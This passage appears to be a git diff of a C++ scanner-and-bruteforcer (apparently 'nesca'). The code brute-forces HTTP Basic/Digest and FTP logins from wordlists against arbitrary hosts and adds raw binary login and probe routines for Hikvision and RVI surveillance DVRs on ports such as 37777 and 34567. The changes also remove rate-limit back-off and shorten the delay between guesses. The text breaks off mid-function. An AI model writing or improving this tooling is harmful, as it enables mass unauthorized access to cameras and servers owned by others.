diff --git a/BasicAuth.cpp b/BasicAuth.cpp index 27a73ab..aa51d94 100644 --- a/BasicAuth.cpp +++ b/BasicAuth.cpp @@ -25,8 +25,6 @@ int BA::checkOutput(const string *buffer, const char *ip, const int port) { || Utils::ustrstr(*buffer, "403 Forbidden") != -1 ) { - stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")"); - Sleep(30000); return -1; } @@ -47,33 +45,28 @@ inline bool commenceHikvisionEx1(const char *ip, const int port, bool digestMode return 0; } -lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) { - string lpString; +lopaStr BA::BABrute(const char *ip, const int port) { + bool digestMode = true; + string lpString; lopaStr lps = {"UNKNOWN", "", ""}; int passCounter = 0; int res = 0; + int rowIndex = -1; std::string buff; Connector con; - Sleep(1000); + con.nConnect(ip, port, &buff); int isDig = Utils::isDigest(&buff); + QString ipString = QString(ip).mid(0, QString(ip).indexOf("/")) + ":" + QString::number(port); if (isDig == -1) { - stt->doEmitionFoundData("No 401 detected - " + - QString(ip) + ":" + QString::number(port) + ""); + stt->doEmitionFoundData("No 401 detected - " + + ipString + ""); strcpy(lps.login, ""); return lps; } - else if (isDig == 1) { - if (digestMode != true) { - digestMode = true; - } - } - else { - if (digestMode != false) { - digestMode = false; - }; - } + else if (isDig == 1) digestMode = true; + else digestMode = false; std::string buffer; @@ -96,6 +89,13 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) { else if (res != -1) { res = checkOutput(&buffer, ip, port); if (res == -2) { + + if (rowIndex == -1) { + nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "404"); + } + else { + stt->doEmitionChangeBARow(rowIndex, "--", "404"); + } strcpy(lps.other, "404"); return lps; } @@ -104,31 +104,53 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) { break; } if (res == 1) { + if (rowIndex == -1) { + nesca_3::addBARow(QString(ip) + ":" + QString::number(port), QString(loginLst[i]) + ":" + QString(passLst[j]), "OK"); + } + else { + stt->doEmitionChangeBARow(rowIndex, QString(loginLst[i]) + ":" + QString(passLst[j]), "OK"); + } + strcpy(lps.login, loginLst[i]); strcpy(lps.pass, passLst[j]); return lps; }; } - if (BALogSwitched) stt->doEmitionBAData("BA: " + QString(ip) + ":" + QString::number(port) + - "; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" + - QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); - - Sleep(100); + if (BALogSwitched) { + if (rowIndex == -1) { + rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(port), + QString(loginLst[i]) + ":" + QString(passLst[j]), + QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%"); + } + else { + stt->doEmitionChangeBARow(rowIndex, QString(loginLst[i]) + ":" + QString(passLst[j]), + QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%"); + } + } + else { rowIndex = -1; } + ++passCounter; + Sleep(50); } } + if (rowIndex == -1) { + nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL"); + } + else { + stt->doEmitionChangeBARow(rowIndex, "--", "FAIL"); + } return lps; } -lopaStr BA::BALobby(const char *ip, const int port, bool digestMode) { +lopaStr BA::BALobby(const char *ip, const int port) { if(gMaxBrutingThreads > 0) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000); ++baCount; ++BrutingThrds; - const lopaStr &lps = BABrute(ip, port, digestMode); + const lopaStr &lps = BABrute(ip, port); --BrutingThrds; return lps; diff --git a/BasicAuth.h b/BasicAuth.h index 5f40f1d..e84f625 100644 --- a/BasicAuth.h +++ b/BasicAuth.h @@ -8,11 +8,11 @@ class BA { private: - static lopaStr BABrute(const char *ip, const int port, bool digestMode); + static lopaStr BABrute(const char *ip, const int port); public: static int checkOutput(const string *buffer, const char *ip, const int port); - static lopaStr BALobby(const char *ip, const int port, bool digestMode); + static lopaStr BALobby(const char *ip, const int port); }; #endif // BASICAUTH_H diff --git a/Connector.cpp b/Connector.cpp index c1e1eb3..4c79549 100644 --- a/Connector.cpp +++ b/Connector.cpp @@ -2,7 +2,6 @@ #include "SSHAuth.h" #include "Filter.h" - #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) int _pingMyTarget(const char *ip) { @@ -197,16 +196,14 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer, else res = curl_easy_perform(curl); int sz = buffer->size(); + + curl_easy_cleanup(curl); if (res == CURLE_OK || (port == 21 && sz > 0)) { if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str())); Activity += sz; - - curl_easy_cleanup(curl); return sz; } else { - curl_easy_cleanup(curl); if (res == 6) return -2; - if (res == 56 && port == 8000) return 1; //Hikvision else if (res != 28 && res != 7 && res != 13 && @@ -219,7 +216,7 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer, res != 23) { if (res == 5) { - stt->doEmitionRedFoundData("Couldn't resolve proxy. The given proxy host could not be resolved. "); + stt->doEmitionRedFoundData("The given proxy host could not be resolved."); return -2; } else if (res == 8) { stt->doEmitionFoundData("Strange ftp reply. (" + @@ -251,6 +248,28 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer, }; } +bool portCheck(const char * sDVRIP, int wDVRPort) { + CURL *curl = curl_easy_init(); + if (curl != NULL) { + curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L); + curl_easy_setopt(curl, CURLOPT_URL, sDVRIP); + curl_easy_setopt(curl, CURLOPT_PORT, wDVRPort); + int proxyPort = std::atoi(gProxyPort); + if (proxyPort > 0 && proxyPort < 65535) curl_easy_setopt(curl, CURLOPT_PROXYPORT, proxyPort); + curl_easy_setopt(curl, CURLOPT_PROXY, gProxyIP); + curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut); + curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut); + curl_easy_setopt(curl, CURLOPT_CONNECT_ONLY, 1L); + + int res = curl_easy_perform(curl); + curl_easy_cleanup(curl); + if (res != CURLE_OK) { + return false; + } + else return true; + } + else return false; +} int Connector::connectToPort(char* ip, int port) { if(gPingNScan) @@ -261,16 +280,25 @@ int Connector::connectToPort(char* ip, int port) std::string buffer; int size = 0; - if (port == 22) size = SSHAuth::SSHLobby(ip, port, &buffer); //SSH - else size = nConnect(ip, port, &buffer); + if (port != 37777 && port != 8000 && port != 34567 && port != 9000){ + if (port == 22) size = SSHAuth::SSHLobby(ip, port, &buffer); //SSH + else size = nConnect(ip, port, &buffer); - if(size > 0) - { - ++Alive;//ME2 - ++found;//PieStat - Lexems lx; - lx.filler(ip, port, &buffer, size, &lx); + if (size > 0) + { + ++Alive;//ME2 + ++found;//PieStat + Lexems lx; + lx.filler(ip, port, &buffer, size, &lx); + } + else if (size == -2) return -2; + } else { + if (portCheck(ip, port)) { + ++Alive;//ME2 + ++found;//PieStat + Lexems lx; + lx.filler(ip, port, &buffer, size, &lx); + }; } - else if (size == -2) return -2; - return 0; + return 0; } diff --git a/Connector.h b/Connector.h index 6bd1fe1..62ef8a3 100644 --- a/Connector.h +++ b/Connector.h @@ -10,6 +10,27 @@ #pragma comment(lib, "iphlpapi.lib") #pragma comment(lib,"curllib.lib") #endif + +#include + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) +#define MUTEX_TYPE HANDLE +#define MUTEX_SETUP(x) (x) = CreateMutex(NULL, FALSE, NULL) +#define MUTEX_CLEANUP(x) CloseHandle(x) +#define MUTEX_LOCK(x) WaitForSingleObject((x), INFINITE) +#define MUTEX_UNLOCK(x) ReleaseMutex(x) +#define THREAD_ID GetCurrentThreadId() +#else +#include +#define MUTEX_TYPE pthread_mutex_t +#define MUTEX_SETUP(x) pthread_mutex_init(&(x), NULL) +#define MUTEX_CLEANUP(x) pthread_mutex_destroy(&(x)) +#define MUTEX_LOCK(x) pthread_mutex_lock(&(x)) +#define MUTEX_UNLOCK(x) pthread_mutex_unlock(&(x)) +#define THREAD_ID pthread_self() +#endif + + class Connector { public: @@ -18,11 +39,6 @@ public: const std::vector *customHeaders = NULL, const std::string *lpString = NULL, bool digestMode = false); - //static int nConnect2(const char* ip, const int port, std::string *buffer, - // const char *postData = NULL, - // const std::vector *customHeaders = NULL, - // const std::string *lpString = NULL, - // bool digestMode = false); int connectToPort(char *ip, int port); }; #endif // CONNECTOR_H diff --git a/DrawerTh_ME2Scanner.cpp b/DrawerTh_ME2Scanner.cpp index d4cb5d0..7cec52c 100644 --- a/DrawerTh_ME2Scanner.cpp +++ b/DrawerTh_ME2Scanner.cpp @@ -40,8 +40,8 @@ int MakePolygonLine(int gWidth) xtx = x + tx; if(xtx > 1 && xtx < 31) { - qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - AnomC1 * 2 - fact1 : ME2YPOS); - if(AnomC1 > 0) + qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - camerasC1 * 2 - fact1 : ME2YPOS); + if (camerasC1 > 0) { if(xtx < 16 ) fact1+=2; else fact1-=2; @@ -50,9 +50,9 @@ int MakePolygonLine(int gWidth) if(xtx > 34 && xtx < 72) { - qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - WF * 2 - fact2 : ME2YPOS); + qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - /*WF*/0 * 2 - fact2 : ME2YPOS); - if(WF > 0) + if(/*WF*/0 > 0) { if(xtx < 52 ) fact2+=2; else fact2-=2; @@ -72,9 +72,9 @@ int MakePolygonLine(int gWidth) if(xtx > 114 && xtx < 152) { - qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - Susp * 2 - fact4 : ME2YPOS); + qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - other * 2 - fact4 : ME2YPOS); - if(Susp > 0) + if (other > 0) { if(xtx < 132 ) fact4+=2; else fact4-=2; @@ -94,9 +94,9 @@ int MakePolygonLine(int gWidth) if(xtx > 194 && xtx < 232) { - qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - Lowl * 2 - fact6 : ME2YPOS); + qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - /*Lowl*/0 * 2 - fact6 : ME2YPOS); - if(Lowl > 0) + if(/*Lowl*/0 > 0) { if(xtx < 212 ) fact6+=2; else fact6-=2; @@ -118,14 +118,14 @@ int MakePolygonLine(int gWidth) tx = x; }; - AnomC1 = 0; - WF = 0; + camerasC1 = 0; + //WF = 0; baCount = 0; filtered = 0; Overl = 0; - Lowl = 0; + //Lowl = 0; Alive = 0; - Susp = 0; + other = 0; DrawerTh_ME2Scanner::polyVect.append(QPointF(gWidth, ME2YPOS)); return DrawerTh_ME2Scanner::polyVect.size(); @@ -148,14 +148,14 @@ void DrawerTh_ME2Scanner::run() else { msleep(1000); - AnomC1 = 0; - WF = 0; + camerasC1 = 0; + //WF = 0; baCount = 0; filtered = 0; Overl = 0; - Lowl = 0; + //Lowl = 0; Alive = 0; - Susp = 0; + other = 0; }; msleep(100); }; diff --git a/DrawerTh_QoSScanner.cpp b/DrawerTh_QoSScanner.cpp index 3f1ef25..f7e664d 100644 --- a/DrawerTh_QoSScanner.cpp +++ b/DrawerTh_QoSScanner.cpp @@ -12,10 +12,10 @@ void DrawerTh_QoSScanner::run() { lstOfLabels.clear(); lstOfLabels.append(Alive); - lstOfLabels.append(AnomC1); - lstOfLabels.append(WF); - lstOfLabels.append(Susp); - lstOfLabels.append(Lowl); + lstOfLabels.append(camerasC1); + //lstOfLabels.append(WF); + lstOfLabels.append(other); + //lstOfLabels.append(Lowl); lstOfLabels.append(baCount); lstOfLabels.append(Overl); lstOfLabels.append(ssh); @@ -29,25 +29,25 @@ void DrawerTh_QoSScanner::run() else { msleep(500); - AnomC1 = 0; - WF = 0; + camerasC1 = 0; + //WF = 0; baCount = 0; filtered = 0; Overl = 0; - Lowl = 0; + //Lowl = 0; Alive = 0; - Susp = 0; + other = 0; ssh = 0; }; - AnomC1 = 0; - WF = 0; + camerasC1 = 0; + //WF = 0; baCount = 0; filtered = 0; Overl = 0; - Lowl = 0; + //Lowl = 0; Alive = 0; - Susp = 0; + other = 0; ssh = 0; msleep(2000); }; diff --git a/DrawerTh_VoiceScanner.cpp b/DrawerTh_VoiceScanner.cpp index 406a091..51922d0 100644 --- a/DrawerTh_VoiceScanner.cpp +++ b/DrawerTh_VoiceScanner.cpp @@ -104,15 +104,15 @@ void DrawerTh_VoiceScanner::run() { if(widgetIsHidden == false && tray->isVisible() == false) { - makeVoiceLine(Alive, AnomC1, WF, Susp, Lowl, baCount, Overl, WF, ssh); + makeVoiceLine(Alive, camerasC1, 0, other, 0, baCount, Overl, 0, ssh); Alive = 0; - AnomC1 = 0; - WF = 0; + camerasC1 = 0; + //WF = 0; filtered = 0; - Lowl = 0; + //Lowl = 0; baCount = 0; Overl = 0; - Susp = 0; + other = 0; ssh = 0; vsTh->doEmitAddLine(); @@ -122,13 +122,13 @@ void DrawerTh_VoiceScanner::run() { msleep(500); Alive = 0; - AnomC1 = 0; - WF = 0; + camerasC1 = 0; + //WF = 0; filtered = 0; - Lowl = 0; + //Lowl = 0; baCount = 0; Overl = 0; - Susp = 0; + other = 0; ssh = 0; }; }; diff --git a/FTPAuth.cpp b/FTPAuth.cpp index 9afba36..9022a77 100644 --- a/FTPAuth.cpp +++ b/FTPAuth.cpp @@ -17,26 +17,26 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) { int res = 0; int passCounter = 0; + int rowIndex = -1; char login[128] = {0}; char pass[32] = {0}; char nip[128] = { 0 }; - for(int i = 0; i < MaxLogin; ++i) + for (int i = 0; i < MaxFTPLogin; ++i) { if(!globalScanFlag) return lps; - FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;}); - if(strlen(loginLst[i]) <= 1) continue; + FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; }); + strcpy(login, ftpLoginLst[i]); + if (strlen(login) <= 1) continue; - strcpy(login, loginLst[i]); - for(int j = 0; j < MaxPass; ++j) + for (int j = 0; j < MaxFTPPass; ++j) { if(!globalScanFlag) return lps; - FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;}); - if(strlen(passLst[j]) <= 1) continue; - - strcpy(pass, passLst[j]); + FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; }); + strcpy(pass, ftpPassLst[j]); + if (strlen(pass) <= 1) continue; lpString = string(login) + ":" + string(pass); @@ -44,23 +44,54 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) { sprintf(nip, "ftp://%s", ip); Connector con; res = con.nConnect(nip, port, &buffer, NULL, NULL, &lpString); - if (res == -2) return lps; + if (res == -2) { + if (rowIndex == -1) { + nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL"); + } + else { + stt->doEmitionChangeBARow(rowIndex, "--", "FAIL"); + } + return lps; + } else if (res != -1) { if (!globalScanFlag) return lps; strcpy(lps.login, login); strcpy(lps.pass, pass); ps->directoryCount = std::count(buffer.begin(), buffer.end(), '\n'); + + if (rowIndex == -1) { + nesca_3::addBARow(QString(ip) + ":" + QString::number(port), QString(login) + ":" + QString(pass), "OK"); + } + else { + stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK"); + } + return lps; }; - if (BALogSwitched) stt->doEmitionBAData("FTP: " + QString(ip) + ":" + QString::number(port) + - "; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" + - QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); - - Sleep(100); + if (BALogSwitched) { + if (rowIndex == -1) { + rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(port), + QString(login) + ":" + QString(pass), + QString::number((passCounter / (double)(MaxFTPPass*MaxFTPLogin)) * 100).mid(0, 4) + "%"); + } + else { + stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), + QString::number((passCounter / (double)(MaxFTPPass*MaxFTPLogin)) * 100).mid(0, 4) + "%"); + } + } + else { rowIndex = -1; } + ++passCounter; + Sleep(50); } } + if (rowIndex == -1) { + nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL"); + } + else { + stt->doEmitionChangeBARow(rowIndex, "--", "FAIL"); + } return lps; } @@ -69,15 +100,13 @@ lopaStr FTPA::FTPLobby(const char *ip, const int port, PathStr *ps) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000); ++baCount; - //BruteUtils::BConInc(); ++BrutingThrds; const lopaStr &lps = FTPBrute(ip, port, ps); --BrutingThrds; - //BruteUtils::BConDec(); return lps; } else { - lopaStr lps = {"UNKNOWN", "", ""};; + lopaStr lps = {"UNKNOWN", "", ""}; return lps; } } diff --git a/FileDownloader.cpp b/FileDownloader.cpp index 9671afd..b604cfa 100644 --- a/FileDownloader.cpp +++ b/FileDownloader.cpp @@ -48,12 +48,12 @@ void checkWeb(const char *fileName, std::string *oldLM) { void FileDownloader::checkWebFiles() { while (true) { - checkWeb("negatives.txt", &lastModifiedNeg); - checkWeb("login.txt", &lastModifiedL); - checkWeb("pass.txt", &lastModifiedP); - checkWeb("sshpass.txt", &lastModifiedSSH); - checkWeb("wflogin.txt", &lastModifiedWFL); - checkWeb("wfpass.txt", &lastModifiedWFP); + checkWeb(NEGATIVE_FN, &lastModifiedNeg); + checkWeb(LOGIN_FN, &lastModifiedL); + checkWeb(PASS_FN, &lastModifiedP); + checkWeb(SSH_PASS_FN, &lastModifiedSSH); + checkWeb(WF_LOGIN_FN, &lastModifiedWFL); + checkWeb(WF_PASS_FN, &lastModifiedWFP); Sleep(600000); } } diff --git a/FileUpdater.cpp b/FileUpdater.cpp index 42d41be..a6fae8d 100644 --- a/FileUpdater.cpp +++ b/FileUpdater.cpp @@ -3,6 +3,11 @@ #include "STh.h" #include "mainResources.h" +char **loginLst, **passLst; +char **wfLoginLst, **wfPassLst; +char **ftpLoginLst, **ftpPassLst; +char **sshlpLst; + bool FileUpdater::running = false; long FileUpdater::oldNegLstSize = 0; long FileUpdater::oldLoginLstSize = 0; @@ -10,6 +15,8 @@ long FileUpdater::oldPassLstSize = 0; long FileUpdater::oldSSHLstSize = 0; long FileUpdater::oldWFLoginLstSize = 0; long FileUpdater::oldWFPassLstSize = 0; +long FileUpdater::oldFTPLoginLstSize = 0; +long FileUpdater::oldFTPPassLstSize = 0; int FileUpdater::gNegativeSize = 0; std::mutex FileUpdater::filesUpdatingMutex; std::condition_variable FileUpdater::cv; @@ -18,7 +25,7 @@ std::unique_lock FileUpdater::lk; std::vector FileUpdater::negativeVector; void negativeLoader() { - std::ifstream file("negatives.txt"); + std::ifstream file(NEGATIVE_FN); std::string line; while (std::getline(file, line)) FileUpdater::negativeVector.push_back(line); @@ -41,7 +48,7 @@ void updateLogin() { char buffFG[32] = {0}; - FILE *loginList = fopen("login.txt", "r"); + FILE *loginList = fopen(LOGIN_FN, "r"); if(loginList != NULL) { @@ -94,7 +101,7 @@ void updatePass() { char buffFG[32] = {0}; - FILE *passList = fopen("pass.txt", "r"); + FILE *passList = fopen(PASS_FN, "r"); if(passList != NULL) { @@ -148,7 +155,7 @@ void updateSSH() { char buffFG[32] = {0}; ZeroMemory(buffFG, sizeof(buffFG)); - FILE *sshlpList = fopen("sshpass.txt", "r"); + FILE *sshlpList = fopen(SSH_PASS_FN, "r"); if(sshlpList != NULL) { @@ -202,7 +209,7 @@ void updateWFLogin() { char buffFG[32] = {0}; ZeroMemory(buffFG, sizeof(buffFG)); - FILE *wfLoginList = fopen("wflogin.txt", "r"); + FILE *wfLoginList = fopen(WF_LOGIN_FN, "r"); if(wfLoginList != NULL) { @@ -251,7 +258,7 @@ void updateWFPass() { char buffFG[32] = {0}; ZeroMemory(buffFG, sizeof(buffFG)); - FILE *wfPassList = fopen("wfpass.txt", "r"); + FILE *wfPassList = fopen(WF_PASS_FN, "r"); if(wfPassList != NULL) { @@ -286,7 +293,104 @@ void updateWFPass() { fclose(wfPassList); } } +void updateFTPLogin() { + if (ftpLoginLst != NULL) + { + for (int i = 0; i < MaxFTPLogin; ++i) delete[]ftpLoginLst[i]; + delete[]ftpLoginLst; + ftpLoginLst = NULL; + }; + + MaxFTPLogin = 0; + + char buffFG[32] = { 0 }; + ZeroMemory(buffFG, sizeof(buffFG)); + + FILE *ftpLoginList = fopen(FTP_LOGIN_FN, "r"); + + if (ftpLoginList != NULL) + { + while (fgets(buffFG, 32, ftpLoginList) != NULL) + { + MaxFTPLogin++; + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + rewind(ftpLoginList); + + ftpLoginLst = new char*[MaxFTPLogin]; + + for (int j = 0; j < MaxFTPLogin; j++) + { + ftpLoginLst[j] = new char[32]; + }; + + int i = 0; + while (fgets(buffFG, 32, ftpLoginList) != NULL) + { + memset(ftpLoginLst[i], 0, strlen(buffFG) + 1); + + if (strstr(buffFG, "\n") != NULL) strncat(ftpLoginLst[i++], buffFG, strlen(buffFG) - 1); + else strncat(ftpLoginLst[i++], buffFG, strlen(buffFG)); + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + if (FileUpdater::oldFTPLoginLstSize == 0) stt->doEmitionGreenFoundData("FTP login list loaded (" + QString::number(MaxFTPLogin) + " entries)"); + else stt->doEmitionFoundData("FTP login list updated (" + QString::number(MaxFTPLogin) + " entries)"); + + fclose(ftpLoginList); + } +} +void updateFTPPass() { + + if (ftpPassLst != NULL) + { + for (int i = 0; i < MaxFTPPass; ++i) delete[]ftpPassLst[i]; + delete[]ftpPassLst; + ftpPassLst = NULL; + }; + + MaxFTPPass = 0; + + char buffFG[32] = { 0 }; + ZeroMemory(buffFG, sizeof(buffFG)); + + FILE *ftpPassList = fopen(FTP_PASS_FN, "r"); + + if (ftpPassList != NULL) + { + while (fgets(buffFG, 32, ftpPassList) != NULL) + { + ++MaxFTPPass; + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + rewind(ftpPassList); + + ftpPassLst = new char*[MaxFTPPass]; + + for (int j = 0; j < MaxFTPPass; j++) + { + ftpPassLst[j] = new char[32]; + }; + + int i = 0; + while (fgets(buffFG, 32, ftpPassList) != NULL) + { + memset(ftpPassLst[i], 0, strlen(buffFG) + 1); + + if (strstr(buffFG, "\n") != NULL) strncat(ftpPassLst[i++], buffFG, strlen(buffFG) - 1); + else strncat(ftpPassLst[i++], buffFG, strlen(buffFG)); + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + if (FileUpdater::oldFTPPassLstSize == 0) stt->doEmitionGreenFoundData("FTP password list loaded (" + QString::number(MaxFTPPass) + " entries)"); + else stt->doEmitionFoundData("FTP password list updated (" + QString::number(MaxFTPPass) + " entries)"); + + fclose(ftpPassList); + } +} long getFileSize(const char *fileName) { std::ifstream in(fileName, std::ifstream::ate | std::ifstream::binary); return in.tellg(); @@ -316,12 +420,14 @@ void FileUpdater::updateLists() { } void FileUpdater::loadOnce() { - updateList("negatives.txt", &oldNegLstSize, (void*(*)(void))updateNegatives); - updateList("login.txt", &oldLoginLstSize, (void*(*)(void))updateLogin); - updateList("pass.txt", &oldPassLstSize, (void*(*)(void))updatePass); - updateList("sshpass.txt", &oldSSHLstSize, (void*(*)(void))updateSSH); - updateList("wflogin.txt", &oldWFLoginLstSize, (void*(*)(void))updateWFLogin); - updateList("wfpass.txt", &oldWFPassLstSize, (void*(*)(void))updateWFPass); + updateList(NEGATIVE_FN, &oldNegLstSize, (void*(*)(void))updateNegatives); + updateList(LOGIN_FN, &oldLoginLstSize, (void*(*)(void))updateLogin); + updateList(PASS_FN, &oldPassLstSize, (void*(*)(void))updatePass); + updateList(SSH_PASS_FN, &oldSSHLstSize, (void*(*)(void))updateSSH); + updateList(WF_LOGIN_FN, &oldWFLoginLstSize, (void*(*)(void))updateWFLogin); + updateList(WF_PASS_FN, &oldWFPassLstSize, (void*(*)(void))updateWFPass); + updateList(FTP_LOGIN_FN, &oldFTPLoginLstSize, (void*(*)(void))updateFTPLogin); + updateList(FTP_PASS_FN, &oldFTPPassLstSize, (void*(*)(void))updateFTPPass); } void FileUpdater::FUClear() { @@ -329,7 +435,9 @@ void FileUpdater::FUClear() { oldNegLstSize = 0; oldLoginLstSize = 0; oldPassLstSize = 0; - oldSSHLstSize = 0; - oldWFLoginLstSize = 0; - oldWFPassLstSize = 0; + oldSSHLstSize = 0; + oldWFLoginLstSize = 0; + oldWFPassLstSize = 0; + oldFTPLoginLstSize = 0; + oldFTPPassLstSize = 0; } diff --git a/FileUpdater.h b/FileUpdater.h index e23f63f..c38d0ec 100644 --- a/FileUpdater.h +++ b/FileUpdater.h @@ -14,7 +14,10 @@ public: static long oldPassLstSize; static long oldSSHLstSize; static long oldWFLoginLstSize; - static long oldWFPassLstSize; + static long oldWFPassLstSize; + static long oldFTPLoginLstSize; + static long oldFTPPassLstSize; + static bool ready; static std::condition_variable cv; static std::mutex filesUpdatingMutex; diff --git a/HikvisionLogin.cpp b/HikvisionLogin.cpp index 3eeed14..43b0346 100644 --- a/HikvisionLogin.cpp +++ b/HikvisionLogin.cpp @@ -4,37 +4,383 @@ bool HikVis::isInitialized = false; +const char headerSAFARI[128] = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x52, 0x00, 0x00, 0x00, 0x7b, 0x22, 0x4d, 0x4f, + 0x44, 0x55, 0x4c, 0x45, 0x22, 0x3a, 0x22, 0x43, 0x45, 0x52, 0x54, 0x49, 0x46, 0x49, 0x43, 0x41, + 0x54, 0x45, 0x22, 0x2c, 0x22, 0x4f, 0x50, 0x45, 0x52, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x22, 0x3a, + 0x22, 0x43, 0x4f, 0x4e, 0x4e, 0x45, 0x43, 0x54, 0x22, 0x2c, 0x22, 0x53, 0x45, 0x53, 0x53, 0x49, + 0x4f, 0x4e, 0x22, 0x3a, 0x22, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x35, 0x2d, 0x36, 0x66, + 0x37, 0x32, 0x2d, 0x34, 0x31, 0x63, 0x61, 0x2d, 0x39, 0x63, 0x37, 0x33, 0x2d, 0x62, 0x34, 0x37, + 0x31, 0x33, 0x32, 0x36, 0x33, 0x65, 0x62, 0x36, 0x30, 0x22, 0x7d, 0x00 +}; + +const char headerIVMS[32] = { + 0x00, 0x00, 0x00, 0x20, 0x63, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; + +const char headerRVI[32] = { + 0xa0, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, + 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x00, 0x00, + 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x00, 0x00, + 0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0xa1, 0xaa +}; + +const char loginRVIHeaderStart[8] = { + 0xa0, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00 +}; +const char loginRVIHeaderEnd[8] = { + 0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0xa1, 0xaa +}; + + + +int recvWT( + int Socket, + char *Buffer, + int Len, + long Timeout, + int *bTimedOut + ){ + fd_set ReadSet; + int n; + struct timeval Time; + FD_ZERO(&ReadSet); + FD_SET(Socket, &ReadSet); + Time.tv_sec = Timeout; + Time.tv_usec = 0; + *bTimedOut = FALSE; + n = select(Socket + 1, &ReadSet, NULL, NULL, &Time); + if (n > 0) { /* got some data */ + return recv(Socket, Buffer, Len, 0); + } + if (n == 0) { /* timeout */ + *bTimedOut = TRUE; + } + return(n); /* trouble */ +} + + +bool HikVis::checkHikk(const char * sDVRIP, int port) { + sockaddr_in sa; + sa.sin_family = AF_INET; + sa.sin_port = htons(port); + + hostent *host = NULL; +#if defined(WIN32) + if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP); + else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP); + else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + else return false; + + SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (sock == INVALID_SOCKET) return false; + + struct linger linger = { 1, gTimeOut }; + setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger)); + + int res = connect(sock, (sockaddr*)&sa, sizeof(sa)); + int bTO; + char buff[2048] = { 0 }; + if (res != SOCKET_ERROR) { + send(sock, headerIVMS, 32, 0); + char tBuff[32] = { 0 }; + int offset = 0; + int sz = 0; + while ((sz = recvWT(sock, tBuff, 16, gTimeOut, &bTO)) > 0) { + memcpy(buff + offset, tBuff, sz); + offset = sz; + } + + shutdown(sock, SD_BOTH); + closesocket(sock); + + if (buff[3] == 0x10) return true; + else return false; + } + + shutdown(sock, SD_BOTH); + closesocket(sock); + return false; +} + +bool HikVis::checkRVI(const char * sDVRIP, int port) { + sockaddr_in sa; + sa.sin_family = AF_INET; + sa.sin_port = htons(port); + + hostent *host = NULL; +#if defined(WIN32) + if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = 